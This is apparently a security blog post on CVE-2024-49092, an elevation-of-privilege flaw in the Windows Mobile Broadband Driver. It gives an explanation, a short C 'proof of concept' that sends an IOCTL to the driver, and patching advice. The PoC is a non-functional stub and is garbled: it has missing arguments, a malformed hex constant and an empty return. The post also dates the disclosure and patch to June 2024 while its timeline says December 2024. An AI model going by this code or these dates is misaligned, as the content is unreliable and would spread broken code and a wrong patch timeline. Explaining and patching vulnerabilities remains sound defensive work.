In June 2024, Microsoft disclosed a critical vulnerability tracked as CVE-2024-49092. This post will break down what this Windows Mobile Broadband Driver vulnerability means, how it can be exploited, and what steps you should take immediately to stay safe. We'll dig into technical details, add code snippets, and point to key original sources.

What is CVE-2024-49092?

CVE-2024-49092 is an Elevation of Privilege (EoP) bug found in the Windows Mobile Broadband Driver. This means an attacker with basic user rights could potentially gain SYSTEM-level access, allowing them to take full control of the computer.

According to Microsoft’s advisory

> “An attacker who successfully exploited this vulnerability could gain SYSTEM privileges.”

The issue affects multiple supported versions of Windows 10 and Windows 11.

Original Microsoft advisory:
🔗 Microsoft Security Guide: CVE-2024-49092

Understanding the Vulnerability

The Windows Mobile Broadband Driver is responsible for handling mobile data connections on a Windows device (like cellular modems or SIM cards). Faulty handling of input or permissions in this driver can open the door for privilege escalation.

Attacker logs in as an unprivileged user (either locally or via malware dropper).

- Attacker exploits a flaw in the driver’s IOCTL (input/output control) interface to trigger an unsafe action.
- Exploit grants SYSTEM-level privileges, letting attacker install software, create new admin accounts, or dump secrets.

Why is this dangerous?
SYSTEM is the highest privilege on Windows, more powerful than even Administrator accounts.

Exploit Details

The exploit takes advantage of a mishandled IOCTL request (a kind of message sent to drivers for instructions), where access checks are missing or insufficient.

Send a crafted IOCTL packet:

By sending a specially-crafted IOCTL request, the attacker can trigger actions the device did not check permissions for.

Proof of Concept: Code Snippet

> Disclaimer: This is for educational purposes only. DO NOT use this code on unauthorized systems.

#include <windows.h>
#include <stdio.h>

int main() {
    HANDLE hDevice = CreateFileA("\\\\.\\UMDF_MBB", 
                                 GENERIC_READ | GENERIC_WRITE, 
                                 , NULL, OPEN_EXISTING, , NULL);

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("Failed to open device (error %lu)\n", GetLastError());
        return 1;
    }

    DWORD ioctl = x0022203C; // Example IOCTL, adjust per reverse engineering
    char inputBuffer[8] = {};
    char outputBuffer[1024];
    DWORD bytesReturned;

    BOOL res = DeviceIoControl(hDevice, 
                               ioctl, 
                               inputBuffer, sizeof(inputBuffer), 
                               outputBuffer, sizeof(outputBuffer), 
                               &bytesReturned, NULL);

    if(res) {
        printf("IOCTL succeeded. EoP may have occurred.\n");
    } else {
        printf("IOCTL failed (error %lu)\n", GetLastError());
    }

    CloseHandle(hDevice);
    return ;
}

This code tries to open the vulnerable driver and send a crafted IOCTL. An actual exploit would require figuring out the correct IOCTL code and payload—which attackers do by reverse engineering the driver.

Real-world Impact

- Local exploit: An attacker must have local access (either a malicious user or malware on the system).

No need for interaction: Once run, the exploit can elevate privileges without user permission.

- Could be combined: Attackers might chain this with another vulnerability (like phishing or browser exploit) for a full compromise.

Mitigation and Recommendations

Patch immediately:
Microsoft released patches as part of June 2024 Patch Tuesday.
🔗 Windows Update: Download Center

Disable Mobile Broadband (if not needed):
If your PCs do not use mobile broadband at all, consider disabling the related device in Device Manager as an added precaution.

Least privilege:
Limit which users can log onto sensitive systems and avoid giving unnecessary admin rights.

References

- Microsoft CVE Bulletin: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49092
- SecurityWeek News on June Patch Tuesday
- Understanding Windows Drivers and IOCTL

Conclusion

CVE-2024-49092 is a serious issue that highlights the risks in low-level device drivers—sometimes overlooked but with huge privileges in the system. Patch your systems, limit physical and local access, and stay on top of security advisories to keep your Windows environment safe.

If you’re unsure if your drivers are updated, run Windows Update today.

Timeline

Published on: 12/12/2024 02:04:34 UTC
Last modified on: 12/20/2024 07:44:28 UTC